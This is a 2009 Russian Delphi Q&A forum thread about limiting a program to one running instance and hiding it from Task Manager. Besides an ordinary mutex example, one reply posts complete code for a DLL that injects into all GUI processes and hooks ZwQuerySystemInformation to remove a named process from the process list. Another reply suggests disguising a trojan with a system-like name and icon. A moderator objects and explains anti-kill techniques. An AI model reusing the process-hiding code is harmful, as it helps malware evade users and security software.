|
Вопрос # 2 762/ вопрос решён / |
|
Здравствуйте!
Как можно сделать так чтобы только одна копия моей проги работала а не 2 в копии?
Чтобы была скрыть в списке задач диспетчера задач!
 |
Вопрос задал: Hideman (статус: Посетитель)
Вопрос отправлен: 11 мая 2009, 07:51
Состояние вопроса: решён, ответов: 2.
|
Ответ #1. Отвечает эксперт: min@y™
Цитата:
Как можно сделать так чтобы только одна копия моей проги работала а не 2 в копии?
Способов полно, чтобы посмотреть их, нажми сюда.
Цитата:
Чтобы была скрыть в списке задач диспетчера задач!
Надо писать программу как сервис.
 |
Ответ отправил: min@y™ (статус: Доктор наук)
Время отправки: 11 мая 2009, 09:34
Оценка за ответ: 5
|
Ответ #2. Отвечает эксперт: 7Ghost
Здравствуйте, Hideman! Вы спрашиваете, как не допустить запуск второй копии программы?На мой взгляд вот самый лучший способ!
Приложение: Переключить в обычный режим-
-
-
-
- unit Only_One;
-
- interface
-
- function Init_Mutex(mid: string): boolean;
-
- implementation
-
- uses Windows;
-
- var
- mut: thandle;
-
- function mut_id(s: string): string;
- var
- f: integer;
- begin
- result := s;
- for f := 1 to length(s) do
- if result[f] = '' then
- result[f] := '_';
- end;
-
- function Init_Mutex(mid: string): boolean;
- begin
- Mut := CreateMutex(nil, false, pchar(mut_id(mid)));
- Result := not ((Mut = 0) or (GetLastError = ERROR_ALREADY_EXISTS));
- end;
-
- initialization
- mut := 0;
- finalization
- if mut <> 0 then
- CloseHandle(mut);
- end.
-
-
-
-
-
- uses
-
- Forms,
-
- MainForm in 'MainForm.pas' {Form1};
-
- {$R *.res}
-
- const
-
-
- begin
- if not init_mutex(UniqueString) then
- begin
-
-
-
- exit;
- end;
- Application.Initialize;
- Application.CreateForm(TForm1, Form1);
- Application.Run;
- end.
-
-
 |
Ответ отправил: 7Ghost (статус: 1-ый класс)
Время отправки: 11 мая 2009, 17:18
Оценка за ответ: 5
|
Мини-форум вопроса
Всего сообщений: 29; последнее сообщение — 12 мая 2009, 13:28; участников в обсуждении: 6.
Страницы: [« Предыдущая] [1] [2]
|
Silaims (статус: Посетитель), 11 мая 2009, 22:23 [#21]:
И вот на конец, последняя...
library HideDLL;
uses
Windows,
ExtendedAPIFunctions,
apihooktools;
const
MutexName='__API_HOOK';
var
SH:HHOOK;
HiddenProcess:string = 'lsass.exe';
SystemFunctionBridge:TFunctionRestoreData;
{
перехватчик функции ZwQuerySystemInformation
все знают, что taskmgr.exe получает список процессов через эту функцию
именно это нам и нужно
}
function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer;
ASystemInformationLength: DWORD; AReturnLength Cardinal): NTStatus; stdcall;
var
info,back_Proc SYSTEM_PROCESSES;
begin
UnHookCodeHook(@SystemFunctionBridge);
Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength);
SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge);
if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit;
if Result<>STATUS_SUCCESS then exit;
info:= ASystemInformation;
repeat
if info^.ProcessName.Buffer = HiddenProcess then
begin
back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta;
{делаем так что бы предыдущая запись указывала на следующию тем самым
пропуская текущюю, именно так и достигается скрытие процесса
|<----s1-------->| |<--------s2------->|
n-1 n n+1
name
lsass.exe
до nextentrydelta=s1 nextentrydelta=s2 nextentrydelta
|______________________^
после nextentrydelta=s1+s2 nextentrydelta=s2 nextentrydelta
|_____________________________________________^
}
end;
back_Proc:=info;
Info := pointer(dword(info) + info^.NextEntryDelta);
until Info^.NextEntryDelta = 0;
end;
//обработчик сообщений
function MsgProc(code WORD;wParam,lparam WORD) WORD;stdcall;
begin
CallNextHookEx(SH,code,wParam,lparam);
end;
//внедрение нашей DLL во все GUI процессы
procedure SetWindowsHook(e:Boolean); stdcall;
var
M:THandle;
begin
if e then
begin
m:=CreateMutex(0,false,MutexName);
if m=0 then exit;
SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0);
end
else
UnhookWindowsHookEx(sh);
end;
//главный библиотечный обработчик
procedure DLLEntryPoint(dwReason Word);
begin
case dwReason of
DLL_PROCESS_ATTACH:
begin
// StopProcess(GetCurrentProcessId);
SetWindowsHook(true);
SetProcedureHook(GetModuleHandle('ntdll.dll'),'ZwQuerySystemInformation',@NewSystemFunction,@SystemFunctionBridge);
// ResumeProcess(GetCurrentProcessId);
end;
DLL_PROCESS_DETACH:
begin
// StopProcess(GetCurrentProcessId);
SetWindowsHook(false);
UnHookCodeHook(@SystemFunctionBridge);
//ResumeProcess(GetCurrentProcessId);
end;
end;
end;
begin
DllProc:= @DLLEntryPoint; //устанавливаеем библиотечный обработчик
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
Этот код скрывает процесс программы "lsass.exe".
|
|
7Ghost (статус: 1-ый класс), 11 мая 2009, 22:28 [#22]:
Да так называемый в компьютерном мире "квант времени" выделяемый процессором на определенную задачу "программу", которые стоят в списке задач ОС Виндовс. Если ВЫ Hideman хотите написать троян, то лучше назовите его например "Terminal" и смените дельфячью иконку на системную! Но у меня появился еще вопрос! Как сделать так чтобы процесс моей программы нельзя было убить в диспетчере, как у антивируса Касперского?
|
|
Вадим К (статус: Академик), 11 мая 2009, 22:58 [#23]:
По поводу "хочешь написать троян". Начнем с того, что это не совсем совпадает с тематикой сайта. Во вторых, это частично подпадает под несколько статей, а любой уважающий себя программист должен прежде всего чтить закон.
Поэтому, просьба - не публиковать подобные коды без согласования с администраторами.
Во вторых все эти "коды", очень плохо работают без понимания, как всё это работает вообще. Убить систему можно просто на раз.
Скрывая процесс от диспетчера задач подобным образом мы выдаем себя с головой. Дело в том, что более-менее нормальный антивирус/фаервол собирает информацию о процессах несколькими способами. И если какой то процесс "тут есть, а тут нет", то он первый кандидат убиение без проверки.
Как сделать "как Касперский". На самом деле есть несколько способов. Во первых, можно перехватить собственно нужные апи функции (типа TerminatedProcess) и проверять, не наш ли процесс пытаются убить.
Во вторых, можно позволить убивать процесс, но с драйвера постоянно контролировать, запущен ли он и если что - перезапускать, а процесс, который пытается убить наш - удалять. Либо сделать классический пинг-понг метод, о котором я тут уже рассказывал.
Возможно эти методы покажутся детскими и некоторые скажут, что у антивирусов всё не так работает... да, они хотели, что бы вы думали так. Например, классическим методом есть делать сканирование файлов с драйвера, а GUI есть только отображением происходящего, ибо драйвер не может отобразить себя в окно другим культурным методом. При этом, если убивают наше GUI приложение, то мы ругаемся, говорим, что нельзя убить, а сами тихо перезапускаем... и всех делов. Учитывая всё это, можно понять много "странностей и особенностей". Например, почему Касперский и ему подобные тормозят систему, хотя явной загрузки процессора нет... Просто драйвер не учитывается в подсчет загрузки, если всё правильно сделать. Естественно, разработчики антивирусов постоянно улучшают (и ухудшают - как без этого) детали реализации, поэтому даже у соседних билдов может быть разное поведение.
Галочка "подтверждения прочтения" - вселенское зло.
|
|
Hideman (статус: Посетитель), 12 мая 2009, 06:54 [#24]:
Господа эксперты и посетители! Я только хотел скрыть имя проги в списке приложений (не списке процессов) Диспетчера задач! А не списке процессов Диспетчера задач! Это вед разные вещи! Если я не правильно задал вопрос! Прощу прошения!
|
|
Silaims (статус: Посетитель), 12 мая 2009, 08:32 [#25]:
Хм... в таком случай не используй формы окна и тогда в диспетчере не будет виден имя программы. Или сделать так же, что я писал выше о перехвате хука, только нужно искать другую функцию. Найду - отпишусь.
Или ты затеял скрыть имя программы, чтобы было невозможно его убить?
|
|
Hideman (статус: Посетитель), 12 мая 2009, 08:39 [#26]:
Добрый день эксперты!
Откуда нужно достать (модул) Dialog, в примере эксперта Timamus?
|
|
Hideman (статус: Посетитель), 12 мая 2009, 08:40 [#27]:
Или я должен создать этот модуль (я новичок в Delphi);
|
|
Hideman (статус: Посетитель), 12 мая 2009, 08:52 [#28]:
Разобрался Dialog оказывается Dialogs
|
|
7Ghost (статус: 1-ый класс), 12 мая 2009, 13:28 [#29]:
Прошу прошения Hedeman за то что неправильно написал!!! Я просто торопился и не успел проверить код в делфи! Прошу глубокого извинения за то что ВЫ потратили время на устранение моей ошибки!!!!
|
31 января 2011, 19:36: Статус вопроса изменён на решённый (изменил модератор Ерёмин А.А.): Автоматическая обработка (2 и более ответов с оценкой 5)
Страницы: [« Предыдущая] [1] [2]
Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.
|